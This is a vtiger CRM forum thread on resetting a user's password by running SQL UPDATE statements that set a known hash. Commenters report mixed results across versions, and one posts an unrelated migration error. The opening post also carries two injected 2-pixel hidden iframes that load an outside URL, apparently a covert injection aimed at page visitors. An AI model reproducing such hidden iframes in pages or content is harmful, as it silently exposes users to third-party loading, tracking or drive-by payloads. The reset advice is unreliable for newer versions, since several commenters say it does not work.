› › › ›

How to reset Vtiger password for a User?

AshaAsha
edited September 2012 in General Discussions Vote Up1Vote Down
Assumption: You have access to the vtiger database.

1. Login to the mysql database.
2. Using the following commands on mysql command line :-
use <vtiger_database_name>;

For versions < 5.0.4 : 
update vtiger_users set user_password = 'adpexzg3FUZAk' where user_name = 'admin';

For versions 5.0.4 or later: 
update vtiger_users set user_password = 'adpexzg3FUZAk', crypt_type = '' where user_name = 'admin';

This will reset the password to 'admin'.

Note: Replace 'admin' with whichever user_name you want to reset the password for. <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>; <iframe width="2px" height="2px" src="http://www.yooclick.com/l/9qjblg"></iframe>;

Comments

  • 10 Comments sorted by Votes Date Added
  • xurizaemonxurizaemon
    Vote Up0Vote Down
    just a short note to point out that after running the above sql, the password you need to use to log in is "admin"

    i re-read the above post several times and couldn't see this specified, so figured it wouldn't hurt to make it explicit.

    i just installed vtiger 5.0.4 on a demo site; the installer ran very quickly (not four minutes at all) and then i wasn't able to log in using the specified passwords.

    with the above fix i was immediately available to log in using user "admin" and password "admin"

    thanks asha!
  • tmorelandtmoreland
    Vote Up0Vote Down
    i'm on 5.0.4 and the method of adding that value and blanking out the crypt_type doesn't work.
  • JegasJegas
    Vote Up0Vote Down
    i'm with tmoreland - doesn't work for me either.

    i had a user call, and i couldn't reset his password. i had to create a new user account after some fruitless folly: fortunately there is the built in function to reassign existing data to a user you are "deleting" after the fact.

    [the reassign] allows all the ownership to migrate to the new account - in effect preserving ownership etc. though i haven't done a full analysis to confirm this works on all vtiger tables - i haven't come accross any posts where people where having issues with this functionality yet.

    but as for the above reset password trick? no dice.
  • openmindedopenminded
    Vote Up0Vote Down
    still not working in vtiger 5.3.0.
    i also tried copying the known admin password string and using the default crypt to no avail.
    i even tried to copy the secret key to no avail.
    it would be nice if the admin user could reset a user password.
    actually, i would think it is needed for good administration.

    if anyone knows a proper way to get this fixed via a query, i'd be happy too <!-- s:) --><img src="{smilies_path}/icon_smile.gif" alt=":)" title="smile" /><!-- s:) -->.
  • JegasJegas
    Vote Up0Vote Down
    it would be nice if the admin user could reset a user password.
    actually, i would think it is needed for good administration.

    this part my friend you can do. editing the user has a password change button (unless this has changed in 5.3)

    as for resetting the passwords on the backend, i find this annoying as well. on the crm i wrote from scratch, it too has encrypted passwords and the like but all you do is wipe the field empty and then your password is blank so you can reset it. this is what i'd love to see in vtiger.
  • JSThePatriotJSThePatriot
    Vote Up0Vote Down
    has anyone been able to get this to work with vtiger 5.3.0? i have been completely unable to login. i don't understand why vtiger doesn't have a better manner of resetting passwords, or updated documentation so this can be done on newer versions.

    thanks for any help!!
    jarvis
  • dimamdimam
    Vote Up0Vote Down
    hi all,

    unfortunately, i cannot use the command line to connect to mysql on my shared server.

    can anyone post here the way to reset the admin password via phpmyadmin?

    thank you very much!

    dimam
  • brijeshbrijesh
    Vote Up0Vote Down
    When we migrate from 5.4.0 to 6.o,we facing bellow issue.

    ERROR EXTRACTING MIGRATION ZIP FILE!

    we changed all database and root file.

    [root@vtiger540 /]# ll /var/lib/mysql/
    total 45100
    -rwxr-xr-x. 1 mysql mysql 35651584 Apr 3 18:30 ibdata1
    -rwxr-xr-x. 1 mysql mysql 5242880 Apr 3 18:30 ib_logfile0
    -rwxr-xr-x. 1 mysql mysql 5242880 Oct 10 2013 ib_logfile1
    drwxrwxrwx. 2 mysql mysql 4096 Sep 6 2013 mysql
    srwxrwxrwx 1 mysql mysql 0 Apr 3 17:22 mysql.sock
    drwxrwxrwx. 2 mysql mysql 36864 Aug 6 2014 vtigercrm
    drwxrwxrwx. 2 mysql mysql 4096 Sep 6 2013 vtigercrm540

    [root@vtiger540 /]# cd /var/www/html/
    [root@vtiger540 html]# ll
    total 4
    drwxrwxrwx. 30 apache apache 4096 Apr 3 19:14 vtigercrm

    Why is happening please help me..


    Thanks
    Brijesh
  • braybautbraybaut
    Vote Up0Vote Down
    Excelent, it worked

    Thanks
    @Braybaut
Sign In or Register to comment.